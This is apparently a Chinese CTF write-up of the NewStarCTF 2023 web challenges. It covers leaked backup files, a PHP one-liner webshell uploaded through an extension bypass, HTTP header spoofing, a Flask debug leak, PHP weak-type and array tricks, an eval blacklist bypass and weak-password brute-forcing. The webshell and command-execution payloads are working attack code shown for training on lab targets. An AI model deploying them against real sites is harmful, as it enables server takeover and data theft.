# NewStarCTF 2023 公开赛道 WEB

# 泄漏的秘密

考点:敏感文件泄漏

通过盲猜 www.zip、index.php 等常用隐藏名称可以猜出。或者使用 dirsearch 进行搜索,可以查找到 www.zip 文件:

image-20231003102650464

进行访问下载解压即可获得两个文件,将两个文件中的字段拼接起来就是 flag: flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

image-20231003102104114

# Begin of Upload

考点:php 文件上传漏洞一句话木马介绍

编写含有一句话木马的文件命名为 1.php,内容为:

<?php @eval($_POST['1']); echo "it is ok"; ?>

点击上传后会提示:

image-20231003103302992

改传 1.php.png,随后通过 Burp 拦截将上传内容修改为 1.php,上传成功:

image-20231003110326234

再利用 中国蚁剑 工具进行链接:

http://eade7cdc-4610-4431-8fad-84e6f86ba897.node4.buuoj.cn:81/upload/1.php

image-20231003110436400

直接在蚁剑中找到 flag 文件 fllll4g:

image-20231003112917654

或者 使用 Hackbar,查看目录内容也可以得知含有 fllll4g 文件:

1=system('ls /')

image-20231003113042254

再利用以下代码,得到 flag

1=system('cat /fllll4g')

# Begin of HTTP

考点:HTTP 常见请求头、HTTP 请求方式

进入题目后,首先要求以 GET 方式给 ctf 参数传参数:

image-20231004093250416

http://node4.buuoj.cn:29762/?ctf=1

之后要求用 POST 方法传入 secret 参数,并且必须是正确的 secret:

image-20231004094638065

打开网页源代码可以找到 secret 提示:

image-20231004094715815

Base64 解码后得到 secret 参数:

n3wst4rCTF2023g00000d

利用 Hackbar 传入 POST 参数:

image-20231004094931704

下面更改 power 参数为 ctfer:

image-20231004095011586

再更改浏览器参数为 NewStarCTF2023:

image-20231004095107075

之后加入 Refer 参数,并修改为 newstarctf.com

image-20231004095225805

加入 X-Real-IP 参数为 127.0.0.1,修改为本地用户访问:

image-20231004095445708

得到最终的 flag 值: flag{46df0dd3-dd02-4402-9e1e-08e555917442}

另:

本题还可以使用 Burp 等工具进行修改参数,还可以使用 Python 进行求解:

from requests import *
from base64 import b64decode
url = 'http://node4.buuoj.cn:29762/'
params = {
    'ctf': '1',
}
data = {
    'secret': b64decode('bjN3c3Q0ckNURjIwMjNnMDAwMDBk').decode(),
}
cookies = {
    'power': 'ctfer',
}
headers = {
    'User-Agent': 'NewStarCTF2023',
    'Referer': 'newstarctf.com',
    'X-Real-IP': 'localhost'
}
s = Session()
r = s.post(url, params=params, data=data, cookies=cookies, headers=headers)
print(r.text)
print(r.cookies.get_dict())
print(r.headers)

输出为:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Begin of HTTP</title>
    <link rel="stylesheet" type="text/css" href="css/style.css" tppabs="css/style.css" />
    <style>
        body {
            height: 100%;
            background: #16a085;
            overflow: hidden;
        }
        canvas {
            z-index: -1;
            position: absolute;
        }
    </style>
    <script src="js/jquery.js"></script>
    <script src="js/verificationNumbers.js" tppabs="js/verificationNumbers.js"></script>
    <script src="js/Particleground.js" tppabs="js/Particleground.js"></script>
    <script>
        $(document).ready(function() {
            $('body').particleground({
                dotColor: '#5cbdaa',
                lineColor: '#5cbdaa'
            });
        });ß
    </script>
</head>
<body>
    <dl class="admin_login">
        <dt>
            <font color="white"><strong>Welcome to NewStarCTF 2023~</strong></font><br>
        </dt>
        <center>
            <font size="4px" color="white">
恭喜你顺利完成了本道题目,这是你的Flag,快去提交吧:flag{46df0dd3-dd02-4402-9e1e-08e555917442}
</font>
</center>
</dl>
</body>
</html>
{}
{'Connection': 'close', 'Content-Length': '666', 'Content-Encoding': 'gzip', 'Content-Type': 'text/html; charset=UTF-8', 'Date': 'Wed, 04 Oct 2023 01:58:05 GMT', 'Server': 'Apache/2.4.38 (Debian)', 'Vary': 'Accept-Encoding', 'X-Powered-By': 'PHP/7.3.15'}

# ErrorFlask

考点:Flask 报错界面信息泄露

题目如下所示:

image-20231004100749405

它说我们只用给出 number1 和 number2,它会帮我们添加,于是:

http://69dd29c8-0844-4ff3-aaef-ec632f65b4bc.node4.buuoj.cn:81/?number1=ab&number2=2

image-20231004101424500

从中进行查找可以查看到 flag:

image-20231004101624946

flag{Y0u_@re_3enset1ve_4bout_deb8g}

# Begin of PHP

考点:PHP 弱类型、PHP 加密函数数组绕过、PHP 函数特性、变量覆盖漏洞

image-20231004103006040

本题一共分出了五个部分。

第一个部分:

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";    
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){        
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }}

主要考察 PHP 中 md5 弱类型比较的特点,只需要找到两个值不同但 md5 值以 0e 开头的字符串即可通过本关,原理是 0e 在进行弱类型比较时会被当作科学计数法进行比较,也就是 0。

http://3b2a7f07-0051-40ce-b45b-bc6fe2cf723c.node4.buuoj.cn:81/?key1=s878926199a&key2=s155964671a

第二个部分:

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

主要考察 PHP 哈希函数的特性,在处理数组类型的传参时,md5、sha1 等哈希函数会返回 NULL 值,由此可以构造出 NULL===NULL 从而通过判断。

POST:key3[]=1

第三个部分:

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

主要考察 strcmp 函数特性,如果传入的参数为数组类型,该函数就会返回 NULL 值,构造 NULL==0 从而通过判断。

http://3b2a7f07-0051-40ce-b45b-bc6fe2cf723c.node4.buuoj.cn:81/?key1=s878926199a&key2=s155964671a&key4[]=1

第四个部分:

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

主要考察 is_numeric 函数特性,在传入的数字后加入任意字母或 %00 即可通过本层的判断。

http://3b2a7f07-0051-40ce-b45b-bc6fe2cf723c.node4.buuoj.cn:81/?key1=s878926199a&key2=s155964671a&key4[]=1&key5=2024a

第五个部分:

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

考察 extract 函数导致的变量覆盖漏洞,这里的 if 判断只要保证传入变量 flag5 即可,根据上面的正则限制,变量值不能为字母和数字,那么可以传一个 ![] 进去,[] 空数组会隐式转换为 false,在!取反得到我们要的 true,(或者,传入一个任意符号也可通过本层。)

POST:key3[]=1&flag5=![]

得到 flag : flag{8b247b57-901a-48d6-91d3-8df4b50f3803}

# R!C!E!

考点:md5 碰撞、PHP 特殊符号传参、PHP 命令执行、黑名单绕过

题目如下所示:

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

首先题目要求 POST 传入一个 password ,password 的 hash 前六位为 c4d038,而哈希加密是一种不可破解的算法,我们只能通过碰撞来尝试获取我们需要的 password。

import hashlib

def crack(a):
    for i in range(0,999999):
        if(hashlib.md5(str(i).encode("GBK")).hexdigest()[0:6] == str(a)):
            print(i)
            break


crack("c4d038")

运行结果得知是 114514.

题目中 code 的传参是 e_v.a.l ,这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8 以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l 。于是为了防止我们的点被自动转换,我们可以先让第一个下划线位置为不合法字符,从而转换为下划线,不会再转换后面的点。比如可以传入 e [v.a.l 。

最后看命令执行部分,这里是有一个黑名单的过滤:

if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }

![image-20231004110534502](NewStarCTF 2023 公开赛道 WEB/image-20231004110534502.png)

看到了 flag 在根目录下。但是黑名单过滤了 flag 关键字,我们没法直接读取,于是可以使用参数逃逸绕过限制:

POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag
POST:password=114514&e[v.a.l=echo file_get_contents("/"."f"."l"."a"."g");

得到 flag 为 flag{4c161ed0-2717-4082-b051-fe63b33efd4c}

# EasyLogin

考点:弱口令登录、HTTP 302 跳转抓包

进入之后是一个登录界面,先随便注册一个账号登进去看看。利用 Ctrl``CCtrl``D 回到 Shell,

image-20231004111349196

简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询 Bash 历史记录:

image-20231004111709678

该登录密码采用 弱密码,并且,将 newstar 和 newstar2023 追加到了密码本中。先尝试用这两个新加入的密码进行登录 admin,结果都不对。利用 Burp 进行爆破,得到密码为 000000,登录:

image-20231004121113786

在 302 请求页面中获得到 flag : flag{4b723bc2-fc05-4d41-b7dd-f62ffa244f47}